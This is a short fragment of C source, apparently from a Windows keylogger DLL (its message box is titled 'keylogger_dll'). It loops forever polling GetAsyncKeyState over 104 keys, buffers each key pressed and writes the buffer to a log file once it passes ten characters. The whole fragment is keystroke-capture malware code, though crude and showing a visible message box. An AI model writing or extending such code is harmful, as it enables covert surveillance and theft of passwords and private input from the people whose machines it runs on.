while (1)
    {
        for (index=0; index<104; index++)
        {
            key = GetAsyncKeyState(keys[index]);
            if (key) {
                buffer[lstrlen(buffer)] = keys[index];
                if (buffer[10] != 0x00) {
                    WriteFile(hFile, buffer, (DWORD)lstrlen(buffer), 0, 0);
                    lmemset(buffer, 0, sizeof(buffer)); //Clear buffer
                    MessageBoxA(0, "Log buffer cleared", "keylogger_dll", MB_OK);
                }
            }
        }
    }